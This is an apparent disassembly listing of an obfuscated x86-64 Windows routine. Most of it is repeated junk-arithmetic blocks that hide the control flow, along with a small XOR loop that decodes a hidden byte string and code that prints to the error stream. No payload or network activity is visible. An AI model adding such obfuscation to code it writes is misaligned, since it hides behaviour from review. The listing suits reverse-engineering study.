add eax, 0xb6d9f442
xor eax, 0x9097a5c6
rol eax, 0x9c
popf
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
push rax
not eax
sub edx, eax
pop rax
sub edx, 1
movsx eax, dl
imul edx, eax, 0x35
movzx eax, bl
sub al, dl
add al, 0x34
xor byte [r8], al
jmp 0x14016a16b
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x21
jl 0x14016a1cf
push rax
pushf
mov eax, 0x434c3dd4
pushf
not eax
add eax, 0xafcbd179
xor eax, 0xc4e1693a
rol eax, 0xa4
popf
pushf
not eax
add eax, 0xa05a7c78
xor eax, 0x9ed189a8
rol eax, 0x1d
popf
pushf
not eax
add eax, 0xc9e515ad
xor eax, 0xc156f70d
rol eax, 0xee
popf
pushf
not eax
add eax, 0xc7fbb001
xor eax, 0xf090399a
rol eax, 0x10
popf
jmp 0x140167577
push rax
pushf
mov eax, 0xc7b561e6
pushf
not eax
add eax, 0xc916010a
xor eax, 0xeabcbf7e
rol eax, 0x73
popf
pushf
not eax
add eax, 0xc2bc6520
xor eax, 0x808afd23
rol eax, 0x98
popf
pushf
not eax
add eax, 0xc8cf4da2
xor eax, 0xf09cf427
rol eax, 0x5e
popf
pushf
not eax
add eax, 0xec99574f
xor eax, 0x95d6066e
rol eax, 0xb9
popf
jmp 0x140167577
lea rdx, [rsp + 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14012c2c9
lea rdx, [0x197249ca8]
pushf
sub rdx, 0x572423b8
popf
mov rcx, rax
jmp 0x14016a24f
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ebx, 0x49d9ecfa
pushf
not ebx
add ebx, 0x9d88a167
xor ebx, 0xdb157790
rol ebx, 0x7e
popf
pushf
not ebx
add ebx, 0xf311bbcb
xor ebx, 0xec95c2f3
rol ebx, 0xce
popf
pushf
not ebx
add ebx, 0xa7dfa623
xor ebx, 0xe5d19701
rol ebx, 0x3e
popf
lea rcx, [rbp - 0x50]
call fcn.140128225
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x14016a306
push rax
pushf
mov eax, 0x9861bc72
pushf
not eax
add eax, 0xab4105ef
xor eax, 0x84579452
rol eax, 0x5a
popf
pushf
not eax
add eax, 0xbaa1e88c
xor eax, 0xd34d5145
rol eax, 0x14
popf
pushf
not eax
add eax, 0xa01f7ecf
xor eax, 0xd6e7ddbf
rol eax, 0x88
popf
pushf
not eax
add eax, 0xf2d9a9a6
xor eax, 0xdd467919
rol eax, 0x97
popf
jmp 0x140167577
push rax
pushf
mov eax, 0xd93d12d5
pushf
not eax
add eax, 0xfb1ae187
xor eax, 0xaeec9699
rol eax, 0xad
popf
pushf
not eax
add eax, 0xb9e374fc
xor eax, 0xb12dfc40
rol eax, 0xf
popf
pushf
not eax
add eax, 0xe00641c1
xor eax, 0x9dc1662d
rol eax, 0x8c
popf
pushf
not eax
add eax, 0x9319a697
xor eax, 0xe666fdbd
rol eax, 0x2e
popf
jmp 0x140167577
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14016a3b8
push rax
pushf
mov eax, 0xfa190505
pushf
not eax
add eax, 0xd70b27be
xor eax, 0xd032aee9
rol eax, 0x15
popf
pushf
not eax
add eax, 0xaa36ae21
xor eax, 0x8e8e1d69
rol eax, 0xb1
popf
pushf
not eax
add eax, 0xef1f6f59
xor eax, 0xd852125a
rol eax, 0xff
popf
jmp 0x140167577
push rax
pushf
mov eax, 0xc77c7abf
pushf
not eax
add eax, 0xc9d56307
xor eax, 0xecedeeee
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xcb998a13
xor eax, 0x87fa5fd5
rol eax, 0xf8
popf
pushf
not eax
add eax, 0xf57cbd2c
xor eax, 0x9cec2faf
rol eax, 0x18
popf
pushf
not eax
add eax, 0xcc7db390
xor eax, 0x8dec14e4
rol eax, 0xe7
popf
jmp 0x140167577
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14016a459
push rax
pushf
mov eax, 0xc4337f99
pushf
not eax
add eax, 0xe12ee422
xor eax, 0xb0ed7836
rol eax, 0x42
popf
pushf
not eax
add eax, 0xa1bf61e6
xor eax, 0xf15beeeb
rol eax, 0xd0
popf
jmp 0x140167577
push rax
pushf
mov eax, 0x68bb7f82
pushf
not eax
add eax, 0xe7879597
xor eax, 0xe51f55b8
rol eax, 0x15
popf
pushf
not eax
add eax, 0xb86aa568
xor eax, 0xd16d4f7d
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xcab36ebf
xor eax, 0xb7af1589
rol eax, 0xdd
popf
pushf
not eax
add eax, 0xb6bf181f
xor eax, 0x8be8b5df
rol eax, 0xb7
popf
jmp 0x140167577
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140135cf8
push rax
pushf
mov eax, 0x167b706a
pushf
not eax
add eax, 0xfc338815
xor eax, 0xa63a5ece
rol eax, 0xa6
popf
pushf
not eax
add eax, 0xac03eb6a
xor eax, 0xcb7191a9
rol eax, 0xfc
popf
jmp 0x140167577
mov eax, ebx
mov rcx, qword [rbp + 0x400]
xor rcx, rsp
call fcn.140150364
lea r11, [rsp + 0x530]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop rbp
ret